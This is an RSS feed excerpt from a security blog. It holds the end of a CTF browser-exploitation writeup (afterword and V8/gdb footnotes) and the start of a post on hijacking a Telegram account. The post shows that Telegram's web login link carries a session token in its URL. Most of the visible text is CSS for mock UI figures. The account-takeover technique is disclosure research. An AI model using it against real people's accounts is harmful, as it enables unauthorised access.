class=&#34;jsConVar&#34;&gt;console&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;log&lt;/span&gt;(&lt;span class=&#34;jsConStr&#34;&gt;&#34;launching&#34;&lt;/span&gt;);&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;console&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;log&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;tmp&lt;/span&gt;);&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;foo&lt;/span&gt;();&lt;/details&gt;&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;Not as pretty as the one I made for the blog, but hey, I got the flag, and secured a place in the top 10 of the overall competition!&lt;/p&gt;&#xA;&lt;h2 id=&#34;part-7-afterword&#34;&gt;Part 7: Afterword&lt;/h2&gt;&#xA;&lt;p&gt;thank you so much for checking out my writeup!!&lt;/p&gt;&#xA;&lt;p&gt;quite the blogpost, isn&amp;rsquo;t it! i&amp;rsquo;ve never actually done this kind of pwn before, and i think i learned a lot, so i wanted to pass it forward and share it with you all!&lt;/p&gt;&#xA;&lt;p&gt;i worked really hard on making all of the html/css on this page be as helpful, interactive, and pretty as possible. as with my last post, everything here is html/css handcrafted with love - no images or javascript were used and it&amp;rsquo;s all just 42kB gzipped. oh and everything&amp;rsquo;s responsive too so it should look great no matter if you&amp;rsquo;re on a small phone or a big hidpi screen! try resizing your window and see how different parts of the post react to it.&lt;/p&gt;&#xA;&lt;p&gt;this post should work cross-browser, but the v8/gdb hover highlight things and the little endian widget don&amp;rsquo;t work in the current version of ladybird because it doesn&amp;rsquo;t support the &lt;code&gt;:has()&lt;/code&gt; selector and resizable handles, hopefully it&amp;rsquo;ll get those too at some point!&lt;/p&gt;&#xA;&lt;p&gt;feel free to let me know if you have any comments or notice anything wrong ^^&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Discuss this post on:&lt;/strong&gt; &lt;a href=&#34;https://twitter.com/rebane2001/status/1794514468040261978&#34;&gt;twitter&lt;/a&gt;, &lt;a href=&#34;https://infosec.exchange/@rebane2001/112504377357044933&#34;&gt;mastodon&lt;/a&gt;, &lt;a href=&#34;https://news.ycombinator.com/item?id=40478686&#34;&gt;hackernews&lt;/a&gt;, &lt;a href=&#34;https://cohost.org/rebane2001/post/6123822-learn-to-read-little&#34;&gt;cohost&lt;/a&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;&#xA;&lt;hr&gt;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&#xA;&lt;p&gt;&lt;code&gt;PACKED_DOUBLE_ELEMENTS&lt;/code&gt; means that the array consists of doubles only, and it also doesn&amp;rsquo;t have any empty &amp;ldquo;holes&amp;rdquo;. A double array with holes would be &lt;code&gt;HOLEY_DOUBLE_ELEMENTS&lt;/code&gt; instead.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:2&#34;&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://source.chromium.org/chromium/chromium/src/&amp;#43;/main:v8/src/builtins/builtins-array.cc;l=42;drc=fe67713b2ff62f8ba290607bf7482a8efd0ca6cc&#34;&gt;HasOnlySimpleReceiverElements&lt;/a&gt; makes sure that there are no accessors on any of the elements, and that the array&amp;rsquo;s prototype hasn&amp;rsquo;t been modified.&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:3&#34;&gt;&#xA;&lt;p&gt;&lt;code&gt;x/8xg&lt;/code&gt; stands for: e(&lt;strong&gt;x&lt;/strong&gt;)amine (&lt;strong&gt;8&lt;/strong&gt;) he(&lt;strong&gt;x&lt;/strong&gt;)adecimal (&lt;strong&gt;g&lt;/strong&gt;)iant words (64-bit values). I recommend checking out &lt;a href=&#34;https://visualgdb.com/gdbreference/commands/x&#34;&gt;a reference&lt;/a&gt; to see other ways this command can be used.&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:4&#34;&gt;&#xA;&lt;p&gt;In memory, the length of the array appears as twice what it really is (eg 6 instead of 3) because SMIs need to end with a 0 bit or they&amp;rsquo;ll become a tagged pointer. If the length of an array was over 2&lt;sup&gt;31&lt;/sup&gt;-1 we&amp;rsquo;d see a pointer to a double instead.&amp;#160;&lt;a href=&#34;#fnref:4&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:5&#34;&gt;&#xA;&lt;p&gt;JavaScript floating-point numbers can only accurately represent integers up to 2&lt;sup&gt;53&lt;/sup&gt;–1. You &lt;em&gt;can&lt;/em&gt; have larger numbers, but they won&amp;rsquo;t be accurate. &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt&#34;&gt;BigInts&lt;/a&gt; are a separate data type that doesn&amp;rsquo;t have this issue - they can be infinitely big while still being accurate! Well, perhaps not infinitely big, but &lt;a href=&#34;https://v8.dev/features/bigint&#34;&gt;in V8&lt;/a&gt; their size can be &lt;a href=&#34;https://stackoverflow.com/a/70537884/2251833&#34;&gt;over a billion bits&lt;/a&gt;, which would be about 128MiB of just a single number.&amp;#160;&lt;a href=&#34;#fnref:5&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:6&#34;&gt;&#xA;&lt;p&gt;In CTF competitions, a &amp;ldquo;first blood&amp;rdquo; is the first (and often fastest) solve of a challenge.&amp;#160;&lt;a href=&#34;#fnref:6&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/div&gt;&#xA;</description>
    </item>
    <item>
      <title>Stealing your Telegram account in 10 seconds flat</title>
      <link>https://lyra.horse/blog/2024/05/stealing-your-telegram-account-in-10-seconds-flat/</link>
      <pubDate>Wed, 01 May 2024 21:00:00 +0000</pubDate>
      <guid>https://lyra.horse/blog/2024/05/stealing-your-telegram-account-in-10-seconds-flat/</guid>
      <description>&lt;p&gt;Say you handed me your phone, what&amp;rsquo;s the worst I could do in 10 seconds?&lt;/p&gt;&#xA;&lt;!-- This is all handcrafted HTML &amp; CSS :3 --&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;&#x9;.tgMsg *::selection {&#xD;&#xA;&#x9;&#x9;background-color: #2E70A5;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.tgThread {&#xD;&#xA;&#x9;&#x9;font-family: &#34;Open Sans&#34;, system-ui, sans-serif;&#xD;&#xA;&#x9;&#x9;font-size: 12.75px;&#xD;&#xA;&#x9;&#x9;background: #0E1621;&#xD;&#xA;&#x9;&#x9;padding: 8px;&#xD;&#xA;&#x9;&#x9;border-radius: 4px;&#xD;&#xA;&#x9;&#x9;width: fit-content;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.tgMsg {&#xD;&#xA;&#x9;&#x9;background: #182533;&#xD;&#xA;&#x9;&#x9;color: #F5F5F5;&#xD;&#xA;&#x9;&#x9;border-radius: 16px;&#xD;&#xA;&#x9;&#x9;max-width: 410px;&#xD;&#xA;&#x9;&#x9;padding: 8px 8px 8px 11px;&#xD;&#xA;&#x9;&#x9;margin: 2px;&#xD;&#xA;&#x9;&#x9;width: fit-content;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.tgMsgSmTL {&#xD;&#xA;&#x9;&#x9;border-top-left-radius: 6px;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.tgMsgSmBL {&#xD;&#xA;&#x9;&#x9;border-bottom-left-radius: 6px;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.tgMsgNoneBL {&#xD;&#xA;&#x9;&#x9;border-bottom-left-radius: 0;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.tgMsg a {&#xD;&#xA;&#x9;&#x9;color: #70BAF5;&#xD;&#xA;&#x9;&#x9;text-decoration: none;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.tgMsgTs {&#xD;&#xA;&#x9;&#x9;margin-top: 5px;&#xD;&#xA;&#x9;&#x9;float: right;&#xD;&#xA;&#x9;&#x9;margin-left: 12px;&#xD;&#xA;&#x9;&#x9;color: #6D7F8F;&#xD;&#xA;&#x9;&#x9;user-select: none;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.tgMsgSpeech {&#xD;&#xA;&#x9;&#x9;background: #182533;&#xD;&#xA;&#x9;&#x9;width: 8px;&#xD;&#xA;&#x9;&#x9;height: 8px;&#xD;&#xA;&#x9;&#x9;position: absolute;&#xD;&#xA;&#x9;&#x9;transform: translate(-6px, -10px);&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.tgMsgSpeech &gt; div {&#xD;&#xA;&#x9;&#x9;background: #0E1621;&#xD;&#xA;&#x9;&#x9;width: 8px;&#xD;&#xA;&#x9;&#x9;height: 8px;&#xD;&#xA;&#x9;&#x9;border-bottom-right-radius: 8px;&#xD;&#xA;&#x9;}&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;div class=&#34;tgThread&#34; role=&#34;figure&#34; aria-label=&#34;Telegram messages&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;tgMsg tgMsgSmBL&#34;&gt;&lt;a href=&#34;https://web.telegram.org/&#34;&gt;Web.telegram.org&lt;/a&gt;&lt;span class=&#34;tgMsgTs&#34; aria-hidden=&#34;true&#34;&gt;edited 23:51&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;tgMsg tgMsgSmTL tgMsgNoneBL&#34;&gt;&lt;span&gt;Click that link and your browser will be logged into telegram without passwords&lt;/span&gt;&lt;span class=&#34;tgMsgTs&#34; aria-hidden=&#34;true&#34;&gt;23:52&lt;/span&gt;&lt;/div&gt;&lt;div class=&#34;tgMsgSpeech&#34; aria-hidden=&#34;true&#34;&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;The other day I received an interesting message with a link to &lt;a href=&#34;https://web.telegram.org&#34;&gt;Telegram&amp;rsquo;s web client&lt;/a&gt;. Upon clicking on the link, I found myself already logged in. Curious, I logged out, sent myself a message with the same link, clicked, and was logged in once again. There wasn&amp;rsquo;t anything special about the link I had been sent, this is just Telegram&amp;rsquo;s default behavior.&lt;/p&gt;&#xA;&lt;p&gt;I wanted to look into how this works. The first step was to figure out how the Telegram client was passing the session to the browser. As I clicked on the link, I noticed something flash on the URL bar for just a split second:&lt;/p&gt;&#xA;&lt;style&gt;&#xD;&#xA;&#x9;.urlBar {&#xD;&#xA;&#x9;&#x9;background: #3C3C3C;&#xD;&#xA;&#x9;&#x9;height: 34px;&#xD;&#xA;&#x9;&#x9;width: calc(100% - 12px);&#xD;&#xA;&#x9;&#x9;padding: 6px;&#xD;&#xA;&#x9;&#x9;border-radius: 4px;&#xD;&#xA;&#x9;&#x9;font-family: system-ui, sans-serif;&#xD;&#xA;&#x9;&#x9;font-size: 14px;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.urlBarInner *::selection {&#xD;&#xA;&#x9;&#x9;color: #000;&#xD;&#xA;&#x9;&#x9;background-color: #A8C7FA;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.urlBarInner {&#xD;&#xA;&#x9;&#x9;background: #282828;&#xD;&#xA;&#x9;&#x9;color: #C7C7C7;&#xD;&#xA;&#x9;&#x9;height: 34px;&#xD;&#xA;&#x9;&#x9;border-radius: 34px;&#xD;&#xA;&#x9;&#x9;width: 100%;&#xD;&#xA;&#x9;&#x9;line-height: 22px;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.urlBarText {&#xD;&#xA;&#x9;&#x9;text-overflow: ellipsis;&#xD;&#xA;&#x9;&#x9;overflow:clip;&#xD;&#xA;&#x9;&#x9;white-space:nowrap;&#xD;&#xA;&#x9;&#x9;display:inline-block;&#xD;&#xA;&#x9;&#x9;margin-left:37px;&#xD;&#xA;&#x9;&#x9;width: calc(100% - 36px - 16px);&#xD;&#xA;&#x9;&#x9;margin-top: 6px;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.urlBarIcon {&#xD;&#xA;&#x9;&#x9;width: 16px;&#xD;&#xA;&#x9;&#x9;height: 16px;&#xD;&#xA;&#x9;&#x9;margin: 5px;&#xD;&#xA;&#x9;&#x9;color: #E3E3E3;&#xD;&#xA;&#x9;&#x9;fill: #E3E3E3;&#xD;&#xA;&#x9;&#x9;background: #3C3C3C;&#xD;&#xA;&#x9;&#x9;padding: 4px;&#xD;&#xA;&#x9;&#x9;position: absolute;&#xD;&#xA;&#x9;&#x9;display:block;&#xD;&#xA;&#x9;&#x9;border-radius: 24px;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.urlBarIcon svg {&#xD;&#xA;&#x9;&#x9;width: 16px;&#xD;&#xA;&#x9;&#x9;height: 16px;&#xD;&#xA;&#x9;}&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;div class=&#34;urlBar&#34; role=figure aria-label=&#34;url bar&#34;&gt;&lt;div class=&#34;urlBarInner&#34;&gt;&lt;div class=&#34;urlBarIcon&#34;&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M11.55 13.52a2.27 2.27 0 0 1 -1.68 -0.69a2.29 2.29 0 0 1 -0.69 -1.68c0 -0.66 0.23 -1.22 0.7 -1.68a2.3 2.3 0 0 1 1.68 -0.69c0.66 0 1.22 0.23 1.68 0.69c0.46 0.46 0.69 1.02 0.69 1.68a2.27 2.27 0 0 1 -0.69 1.68c-0.46 0.46 -1.02 0.69 -1.68 0.69Zm0 -1.45c0.25 0 0.47 -0.09 0.65 -0.27a0.88 0.88 0 0 0 0.27 -0.64a0.89 0.89 0 0 0 -0.27 -0.65a0.88 0.88 0 0 0 -0.65 -0.27a0.88 0.88 0 0 0 -0.65 0.27a0.88 0.88 0 0 0 -0.26 0.64c0 0.25 0.09 0.47 0.27 0.65c0.18 0.18 0.4 0.27 0.65 0.27Zm-9.47 -0.1v-1.63H7.98v1.63Zm2.37 -4.75a2.27 2.27 0 0 1 -1.67 -0.69a2.29 2.29 0 0 1 -0.69 -1.68c0 -0.66 0.23 -1.22 0.7 -1.68a2.3 2.3 0 0 1 1.68 -0.69c0.66 0 1.22 0.23 1.68 0.69c0.46 0.46 0.69 1.02 0.69 1.68c0 0.66 -0.23 1.22 -0.69 1.68c-0.46 0.46 -1.02 0.69 -1.68 0.69Zm0 -1.46a0.88 0.88 0 0 0 0.65 -0.27a0.88 0.88 0 0 0 0.27 -0.64a0.89 0.89 0 0 0 -0.26 -0.65a0.88 0.88 0 0 0 -0.65 -0.27a0.88 0.88 0 0 0 -0.65 0.27a0.88 0.88 0 0 0 -0.27 0.65c0 0.25 0.09 0.47 0.27 0.65c0.18 0.18 0.39 0.27 0.65 0.27Zm3.57 -0.1V4.03h5.9v1.63Zm0 0Z&#34;/&gt;&lt;/svg&gt;&lt;/div&gt;&lt;span class=&#34;urlBarText&#34;&gt;&lt;span style=&#34;color:#E3E3E3&#34;&gt;web.telegram.org&lt;/span&gt;/#tgWebAuthToken=dGhpcyB0b2&lt;span aria-hidden=true&gt;tlbiBpcyByYW5kb20gYW5kIDEwMjQgYml0cyBsb25nLCBidXQgaW4gdGhlIGJsb2cgcG9zdCBpIHJlcGxhY2VkIGl0IHdpdGggdGhpcyBmdW4gZWFzdGVyIGVnZyBmb3IgdGhvc2Ugd2l0aCBhIGtlZW4gZXllIQ&amp;tgWebAuthUserId=420493337&amp;tgWebAuthDcId=4&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;It seems like Telegram just opens up a URL with your account&amp;rsquo;s token appended to it. The token gets put in a hash fragment, and quickly disappears once the web client loads up and realizes there&amp;rsquo;s a token there. Although very convenient, this feature is pretty concerning because it can be used to quickly gain access to your account even if you use 2FA and a locked-down device (eg a &lt;em&gt;non-rooted/jailbroken&lt;/em&gt; phone).&lt;/p&gt;&#xA;&lt;p&gt;So where does this URL and its session come from? I searched tdesktop&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&amp;rsquo;s code for various keywords such as &amp;ldquo;web.telegram.org&amp;rdquo; and &amp;ldquo;tgWebAuthToken&amp;rdquo;, but oddly enough I didn&amp;rsquo;t get any hits. After staring at the code and not finding anything related to this feature for a while, I decided to build the app for real and attach a debugger to it.&lt;/p&gt;&#xA;&lt;p&gt;A couple hours of compiling later, I had my very own build of tdesktop up and running. I set up a few breakpoints, clicked on some test links, and stepped through the code looking for the relevant bits. And eventually, I got here:&lt;/p&gt;&#xA;&lt;!-- This was fun to make! It took me a long time to recreate all the icons in SVG though. --&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;&#x9;.detailedUrlMapTable {&#xD;&#xA;&#x9;&#x9;table-layout: fixed;&#xD;&#xA;&#x9;&#x9;width: 100%;&#xD;&#xA;&#x9;&#x9;word-break: break-all;&#xD;&#xA;&#x9;&#x9;font-size: 12px;&#xD;&#xA;&#x9;&#x9;font-family: monospace;&#xD;&#xA;&#x9;&#x9;border-collapse: collapse;&#xD;&#xA;&#x9;&#x9;color: #70BAF5;&#xD;&#xA;&#x9;&#x9;background: #182533;&#xD;&#xA;&#x9;&#x9;border-radius: 4px;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.detailedUrlMapTable td {&#xD;&#xA;&#x9;&#x9;border: 1px solid #0E1621;&#xD;&#xA;&#x9;&#x9;padding: 4px 4px;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vsLocals svg {&#xD;&#xA;&#x9;&#x9;width: 16px;&#xD;&#xA;&#x9;&#x9;height: 16px;&#xD;&#xA;&#x9;&#x9;vertical-align: bottom;&#xD;&#xA;&#x9;&#x9;padding-left: 2px;&#xD;&#xA;&#x9;&#x9;padding-right: 4px;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vsLocals th {&#xD;&#xA;&#x9;&#x9;font-weight: normal;&#xD;&#xA;&#x9;&#x9;text-align: left;&#xD;&#xA;  &#x9;&#x9;border: 1px solid #3D3D3D;&#xD;&#xA;  &#x9;&#x9;border-top: none;&#xD;&#xA;  &#x9;&#x9;border-left: none;&#xD;&#xA;  &#x9;&#x9;padding-left: 4px;&#xD;&#xA;  &#x9;&#x9;user-select: none;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vsLocals td {&#xD;&#xA;  &#x9;&#x9;border: 1px solid #000;&#xD;&#xA;  &#x9;&#x9;border-top: none;&#xD;&#xA;  &#x9;&#x9;border-left: none;&#xD;&#xA;  &#x9;&#x9;padding: 0 0 0 3px;&#xD;&#xA;&#x9;&#x9;text-overflow: ellipsis;&#xD;&#xA;&#x9;&#x9;overflow: clip;&#xD;&#xA;&#x9;&#x9;white-space: nowrap;&#xD;&#xA;&#x9;&#x9;max-width: 0;&#xD;&#xA;&#x9;&#x9;user-select: all;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vsLocals &gt; table {&#xD;&#xA;&#x9;&#x9;border-collapse: collapse;&#xD;&#xA;&#x9;&#x9;box-model: border-box;&#xD;&#xA;&#x9;&#x9;line-height: 16px;&#xD;&#xA;&#x9;&#x9;width: 100%;&#xD;&#xA;&#x9;&#x9;cursor: default;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vsLocals &gt; table *::selection {&#xD;&#xA;&#x9;&#x9;background: #7160E8;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vsBreakpoint {&#xD;&#xA;&#x9;&#x9;width: 12px;&#xD;&#xA;&#x9;&#x9;height: 12px;&#xD;&#xA;&#x9;&#x9;background: #B7B7B7;&#xD;&#xA;&#x9;&#x9;border: 0.5px solid #DDD;&#xD;&#xA;&#x9;&#x9;border-radius: 14px;&#xD;&#xA;&#x9;&#x9;margin: 3px 0 2px 2px;&#xD;&#xA;&#x9;&#x9;opacity: 0;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vsBreakpoint:hover {&#xD;&#xA;&#x9;&#x9;opacity: 1;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vsBreakpoint.active {&#xD;&#xA;&#x9;&#x9;background: #C55159;&#xD;&#xA;&#x9;&#x9;border-color: #EF5B64;&#xD;&#xA;&#x9;&#x9;opacity: 1;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vC1 { color: #4EC9B0 }&#xD;&#xA;&#x9;.vC2 { color: #569CD6 }&#xD;&#xA;&#x9;.vC3 { color: #9A9A9A }&#xD;&#xA;&#x9;.vC4 { color: #9CDCFE }&#xD;&#xA;&#x9;.vC5 { color: #B4B4B4 }&#xD;&#xA;&#x9;.vC6 { color: #B8D7A3 }&#xD;&#xA;&#x9;.vC7 { color: #C8C8C8 }&#xD;&#xA;&#x9;.vC8 { color: #D69D85 }&#xD;&#xA;&#x9;.vC9 { color: #D8A0DF }&#xD;&#xA;&#x9;.vC0 { color: #DCDCAA }&#xD;&#xA;&#x9;.vCA { color: #DCDCDC }&#xD;&#xA;&#x9;.vCB { color: #E8C9BB }&#xD;&#xA;&#x9;.vLn {&#xD;&#xA;&#x9;&#x9;user-select: none;&#xD;&#xA;&#x9;&#x9;cursor: default;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vsCodeArea &gt; span:hover {&#xD;&#xA;&#x9;&#x9;background: #2e2237;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vsCodeArea::-webkit-scrollbar {&#xD;&#xA;&#x9;  width: 10px;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vsCodeArea::-webkit-scrollbar-track {&#xD;&#xA;&#x9;  background: #2E2E2E;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vsCodeArea::-webkit-scrollbar-thumb {&#xD;&#xA;&#x9;  background: #4D4D4D; &#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vsCodeArea::-webkit-scrollbar-thumb:hover {&#xD;&#xA;&#x9;  background: #999; &#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vsCodeArea::selection, .vsCodeArea *::selection  {&#xD;&#xA;&#x9;&#x9;background: #264F78;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vsCodeArea {&#xD;&#xA;&#x9;&#x9;vertical-align: bottom;&#xD;&#xA;&#x9;&#x9;font-family: &#34;Cascadia Code&#34;, &#34;Cascadia Mono&#34;, &#34;Lucida Sans Typewriter&#34;, &#34;Courier New&#34;, monospace;&#xD;&#xA;&#x9;&#x9;white-space: pre-wrap;&#xD;&#xA;&#x9;&#x9;font-size: 13px;&#xD;&#xA;&#x9;&#x9;line-height: 17px;&#xD;&#xA;    &#x9;display: inline-block;&#xD;&#xA;    &#x9;color: #8A8A8A;&#xD;&#xA;&#x9;&#x9;text-wrap: nowrap;&#xD;&#xA;    &#x9;overflow: auto;&#xD;&#xA;    &#x9;overflow-y: clip;&#xD;&#xA;    &#x9;cursor: text;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vsContainer {&#xD;&#xA;&#x9;&#x9;background: #1F1F1F;&#xD;&#xA;&#x9;&#x9;color: #FAFAFA;&#xD;&#xA;&#x9;&#x9;width: calc(100% - 8px);&#xD;&#xA;&#x9;&#x9;height: fit-content;&#xD;&#xA;&#x9;&#x9;border-radius: 4px;&#xD;&#xA;&#x9;&#x9;padding: 4px;&#xD;&#xA;&#x9;&#x9;font-family: system-ui, sans-serif;&#xD;&#xA;&#x9;&#x9;font-size: 12px;&#xD;&#xA;&#x9;&#x9;line-height: 16px;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vsBox {&#xD;&#xA;&#x9;&#x9;border: 1px solid #3D3D3D;&#xD;&#xA;&#x9;&#x9;overflow: clip;&#xD;&#xA;&#x9;&#x9;white-space:nowrap;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vsDropdown {&#xD;&#xA;&#x9;&#x9;background: #383838;&#xD;&#xA;&#x9;&#x9;height: 18px;&#xD;&#xA;&#x9;&#x9;padding-top: 1px;&#xD;&#xA;&#x9;&#x9;border: 1px solid #424242;&#xD;&#xA;&#x9;&#x9;border-right: 4px solid #424242;&#xD;&#xA;&#x9;&#x9;width: 352px;&#xD;&#xA;&#x9;&#x9;display: inline-block;&#xD;&#xA;&#x9;&#x9;user-select: none;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vsDropdown &gt; svg {&#xD;&#xA;&#x9;&#x9;width: 16px;&#xD;&#xA;&#x9;&#x9;height: 16px;&#xD;&#xA;&#x9;&#x9;vertical-align: bottom;&#xD;&#xA;&#x9;&#x9;padding-left: 2px;&#xD;&#xA;&#x9;&#x9;padding-right: 3px;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vsDropdown:hover {&#xD;&#xA;&#x9;&#x9;background: #3D3D3D;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vsTabs {&#xD;&#xA;&#x9;&#x9;width: 100%;&#xD;&#xA;&#x9;&#x9;height: 21px;&#xD;&#xA;&#x9;&#x9;border-bottom: 2px #7160E8 solid;&#xD;&#xA;&#x9;&#x9;user-select: none;&#xD;&#xA;&#x9;&#x9;margin-left: 1px;&#xD;&#xA;&#x9;&#x9;overflow: clip;&#xD;&#xA;&#x9;&#x9;white-space:nowrap;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vsTab:hover {&#xD;&#xA;&#x9;&#x9;background: #3D3D3D;&#xD;&#xA;&#x9;&#x9;color: #FAFAFA;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vsTab {&#xD;&#xA;&#x9;&#x9;display: inline-block;&#xD;&#xA;&#x9;&#x9;height: 16px;&#xD;&#xA;&#x9;&#x9;background: #2E2E2E;&#xD;&#xA;&#x9;&#x9;color: #B2B2B2;&#xD;&#xA;&#x9;&#x9;padding: 0 43px 3px 4.5px;&#xD;&#xA;&#x9;&#x9;margin: 1px 1px 0;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vsTab.active {&#xD;&#xA;&#x9;&#x9;border-top: 2px #7160E8 solid;&#xD;&#xA;&#x9;&#x9;box-sizing: border-box;&#xD;&#xA;&#x9;&#x9;height: 20px;&#xD;&#xA;&#x9;&#x9;vertical-align: bottom;&#xD;&#xA;&#x9;&#x9;color: #FAFAFA;&#xD;&#xA;&#x9;&#x9;background: #3D3D3D;&#xD;&#xA;&#x9;&#x9;font-weight: 600;&#xD;&#xA;&#x9;&#x9;margin: 1px 0px 0;&#xD;&#xA;&#x9;&#x9;padding: 0 45px 3px 4.5px;&#xD;&#xA;&#x9;}&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;div class=&#34;vsContainer&#34; draggable=&#34;false&#34; role=figure aria-label=&#34;Visual Studio window&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;vsTabs&#34;&gt;&lt;span class=&#34;vsTab active&#34;&gt;ui_integration.cpp&lt;svg style=&#34;position:absolute;width:16px;height:16px;padding-left:27px&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34; fill=&#34;#D6D6D6&#34; stroke=&#34;none&#34;&gt;&lt;polygon points=&#34;4 8 7 8 7 5 8 5 8 6 12 6 12 11 8 11 8 9 11 9 11 7 8 7 8 12 7 12 7 9 4 9&#34;/&gt;&lt;/svg&gt;&lt;/span&gt;&lt;span class=&#34;vsTab&#34; aria-hidden=true&gt;base_integration.cpp&lt;/span&gt;&lt;span class=&#34;vsTab&#34; aria-hidden=true&gt;url_auth_box.cpp&lt;/span&gt;&lt;span class=&#34;vsTab&#34; aria-hidden=true&gt;scheme.h&lt;/span&gt;&lt;span class=&#34;vsTab&#34; aria-hidden=true&gt;local_url_handlers.cpp&lt;/span&gt;&lt;span class=&#34;vsTab&#34; aria-hidden=true&gt;basic_click_handlers.cpp&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;vsBox&#34; style=&#34;border-top: none; height: fit-content&#34;&gt;&#xD;&#xA;&#x9;&#x9;&lt;div aria-hidden=&#34;true&#34;&gt;&#xD;&#xA;&#x9;&#x9;&lt;span class=&#34;vsDropdown&#34;&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; fill=&#34;none&#34; stroke=&#34;#C16FCC&#34;&gt;&lt;rect fill=&#34;#454545&#34; stroke=&#34;#B9B9B9&#34; x=&#34;1.5&#34; 